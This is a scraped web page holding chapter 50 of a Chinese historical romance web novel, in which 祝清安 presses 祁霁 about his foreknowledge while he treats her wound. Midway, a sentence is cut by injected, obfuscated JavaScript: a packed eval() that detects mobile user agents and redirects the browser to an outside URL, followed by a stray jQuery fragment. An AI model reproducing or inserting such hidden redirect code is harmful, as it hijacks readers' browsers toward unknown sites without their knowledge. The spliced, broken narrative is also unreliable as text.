默认冷灰
24号文字
方正启体

50. 旁敲侧击

作者:栀知了本书字数:K更新时间:
    祝清安垂眸看着桌上的小瓷罐,白釉在烛火下泛着温润的光,她还未来得及伸手,一只修长的手已从旁侧探来,将瓷罐捞了过去。


    “我先帮你上药。”祁霁的声音从身侧传来,像是理所应当的在说一件寻常不过的事。


    祝清安没有说话。


    祁霁打开瓷罐,一股清苦的药香弥漫开来,他用指尖挑了些许,侧身靠近她的肩头。


    药膏触及肌肤冰冰凉凉,但瞬间渗入伤口,竟又像火一般烧了起来,原本已经麻木的伤口,此刻又被激得火辣辣地疼起来。


    祝清安咬紧牙关,一声不吭。


    她盯着桌上的烛台,努力让注意力全都集中在那火光之间。


    其实这疼痛无妨,她早已习以为常。


    可他离得太近了。


    她只能努力把注意力放在别处,才能不在意他触碰到自己肩头的手,不在意他指尖的温度,不在意他的呼吸无意间拂过她颈间。


    祁霁察觉到了她的紧绷,手下动作加快了些,指尖飞快地抹匀药膏,便去捞绷带。


    一圈,两圈。


    白色的绷带经过肩头,绕过臂弯,指尖不经意间擦过她裸露的皮肤,手上的薄茧有些粗粝,一触即离。


    “祁霁,”祝清安突然开口。


    听到她直呼自己的名字,祁霁那只正在缠绕绷带的手猛地一顿。


    “你是……”祝清安声音淡淡,听不出是质问还是关心,“在怕什么?”


    祁霁的手指微微一僵,下一瞬,便恢复如常,甚至弯了弯唇角。


    “你真信那小子乱说?”他笑着继续手上的动作,绷带缠绕得稳稳当当,“他嘴里何时有个正形?”


    说着,他将绷带的末端仔细掖好,收了个利落的尾。又挑起桌上的药包,站起身来。


    “我先去给你把药煎上。”


    祁霁说着,转身走向角落,蹲下身,将小药炉架到炭盆上。


    祝清安看着他蹲在角落里的身影。


    他的影子被屋内烛火迎着,投在帐壁上,孤零零的,像一座小小的山。


    这段时日发的事情,一件件飞速在她眼前掠过。


    今夜山侧的埋伏,江安时赵知府突然出现,临关时他穿越人群挡下那一箭……


    每一件事之间,都好像存在着某种微妙的巧合与连结。


    好像有一根无形的线,将这些散落的珠子串了起来,但是她不知道那根线的尽头是什么,但是她感觉,他好像知道。


    “你是早就知道山侧会有埋伏,所以才单独派了我大哥前去?”祝清安平静地开口问道。


    “不是,”祁霁认真盯着药炉,没有回头,“我要是早知晓,今晚就不会打得这般狼狈了。”


    “江安之时,你好像早就知道那赵知府会来,”祝清安不紧不慢地继续问道,“还有赵知府和姜洵之的关系。”


    “碰巧探得了点苗头,也就比祝将军早知道那么一点点。”祁霁有一搭没一搭的给炉子扇着火,语气随意,“况且,祝将军不也猜出来了么?”


    “临关之事呢?”祝清安没有停,“你好像对那郑穆的计划,未卜先知一般。”


    “只是恰巧,多做了一手准备而已。”祁霁应答如流。


    祝清安默然。


    帐中陷入短暂的安静。


    药炉上的水渐渐沸腾,发出咕嘟咕嘟的声响,蒸汽袅袅升起。


    “那河鱼呢?”祝清安忽然开口,“你手下的探子那般多,报的那般仔细吗?”


    祁霁手中的蒲扇停了下来。


    “那不是,”祁霁说着放下蒲扇,将煎好的药汁倒入手边的碗中,“我记得小时候,还在秦昭宫里的时候,不就便是如此?”


    他说着,将药碗端了过来,放到她面前。


    “先喝药吧。”


    祝清安低头看着那碗药,褐色的药汁散发着苦涩的气味。


    她没有再追问,端起碗,面不改色地一饮而尽。


    药液入喉,苦涩从舌尖一路蔓延到胃里,她连眉头都没有皱一下。


    祁霁起身,去后面的架子上翻找着什么。


    祝清安望着他的背影,沉默了片刻。


    “可是祁霁。”她缓缓开口,“我在宫中的时候,好像从未吃过鱼。”


    那只正在架子上翻找的手,猛地一顿,像是烛火跳了一下,下一瞬,他已自然地取出一只小盒子,转身走回来,放到她面前。


    “很苦吧?”他笑着揭开盒盖,“琥珀核桃要来一点吗?”


    祝清安看着对方放到面前的琥珀核桃,拿起来一颗,直勾勾地看向祁霁。


    祝清安看着那只盒子,没有动。


    “还有这个呢?”她开口问道。


    “这个啊……”祁霁先拿了一颗塞进嘴里,含糊道,“正好我怕苦,也爱吃。你不信的话,可以去问姜洵之。”


    祝清安这才伸手,拿起一颗放入口中。


    外壳的甜脆包裹着内里的坚果香,伴随着咀嚼,在齿间慢慢化开,将方才那满口的苦涩一点点冲散。她慢慢嚼着,咽下。


    “可是祁霁。”祝清安抬起眼,直直地盯着对方的眼睛,“我在宫中并未吃过鱼。或者说,我在宫中并未吃过几顿饭。”


    她顿了顿,一字一句认真道,“你好像,真的知道很多东西。”


    祁霁迎着她的目光,好不闪躲,面上那惯常的笑意分毫未变。


    “那我就当祝将军是在夸我吧。”祁霁笑着毫不客气地应了下来。


    那笑容无懈可击。


    祝清安垂下眼眸。


    “是。”她站起身来,“三殿下远比我想象中还要厉害。”


    说罢,转身就要想帐外走去,“今夜麻烦三殿下了,我先回去了。”


    “诶……”


    伸手传来祁霁急切的声音,紧接着一只手从后面伸来,握住了她的右手腕。


    掌心扣在腕间,力道不重,只堪堪拦住她的脚步。


    祝清安低下头,看着那只握住自己手腕的手,那手指修长,骨节分明。


    她皱了皱眉,目光凌厉如刀,顺着那只手,缓缓移到他的脸上。


    祁霁像是被那目光烫了一下,迅速松开手,收回去。


    “姜洵之不是说了,今夜凶险。”他的声音比平日快了几分,找着理由,“祝将军要不……”


    “无妨。”祝清安打断他,“也不是第一次受伤了。男女有别,多谢三殿下好意。”


    她微微拱手,转身又要走。


    “或者,我喊你家人来看着点吧。”祁霁的声音从身后追来。


    祝清安


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374554|195690||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的脚步顿住。


    今日见到了父亲,见到了二哥三哥。可她竟一时不知该如何开口。该怎么解释狭关阵前向敌方投降?该怎么解释这些时日都和他待在一起?该怎么解释今晚去替他挡下那一箭……


    这一堆乱七八糟的事情,该从何说起呢?


    祝清安垂着眼眸,突然,她又好似想到了什么,“我母亲和我三嫂呢……”


    “已差人在祝老将军启程时,便悄悄从京中带出。”祁霁从后面传来,稳稳的,“放心。过几日便可汇合了。”


    祝清安一怔,他看似说的轻巧,但是真能做到,不知又是花了多少心思。


    罢了,他不说便不说吧,自己身上的这些事,也是不知该从何说起……


    祝清安深吸一口气,轻声道。


    “……多谢。”


    随即,她没有回头,掀开帐帘,走了出去。


    帐帘落下,祁霁站在原地,看着那帘子晃了晃,最终重新归于平静。


    炉子上还有新烧的一壶水,此刻正好沸了,咕嘟咕嘟地响着,像是什么压在心底的话,翻来覆去,却终究说不出口。


    他垂下眼,看着自己下意识去拽住她的那只手。


    他缓缓收拢手指,又松开,像是在确认什么。


    此刻,帘子又“唰”地被掀开,姜洵之身上还背着药箱,探头探脑地走了进来。


    “怎么回事?”他大摇大摆地走到桌前坐下,随手捞起一颗琥珀核桃丢进嘴里,含糊不清道,“这般机会都把握不住?”


    祁霁没有接话。


    姜洵之嚼了两口,眉头一挑:“哟,你什么时候还爱吃这种甜食了?”


    祁霁走过去,“啪”地一声将盒子在他面前摁死,抬手拿走,转身放回架子上。


    “说真的,你是越来越没规矩了,”他的声音恢复了惯常的从容,“还学会听墙角那一套。”


    “你可别诬赖好人。”姜洵之忙不迭摆手,“我是在外面看她一个人走了,这才进来的。想着这么快就走了,你自己身上的伤还没人处理罢,过来帮你瞧瞧。”


    “真是小气,我这忙前忙后半天连个核桃都不舍得给我,”姜洵之一边絮絮叨叨地抱怨,一边自顾自去翻出茶具,提起烧开的水泡茶,“也就我惦记着点你身体了,你还不识好歹。”


    “是是是,是我不识好歹,”祁霁在对面坐下,接过他递来的茶盏抿了一口,“我们姜大夫都喝了我最好的茶了,可得给我看仔细些。”


    “那是必然。”姜洵之放下茶盏,正了正神色,“脱罢。”


    祁霁自然地卸下甲胄,半褪外衣,烛火下,斑驳的伤痕暴露无遗,旧疤叠着新伤,交错纵横。


    姜洵之“啧”了一声,摇了摇头,直接上手。


    触到翻开的皮肉,祁霁不禁倒吸一口冷气。


    “哟,这会知道疼了?”姜洵之嘴上打趣,手上的力度却放轻了几分,仔细查看起伤口,声音也沉了下来,“听说今天在外面,又像不要命似的。”


    祁霁没有作声,看着姜洵之熟练地清理伤口、换药、缠绷带,动作利落,和他平日里那副吊儿郎当的模样判若两人。


    “洵之。”祁霁忽然开口。


    “嗯?”姜洵之头也没抬,手上动作未停。


    “你相信命运么?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)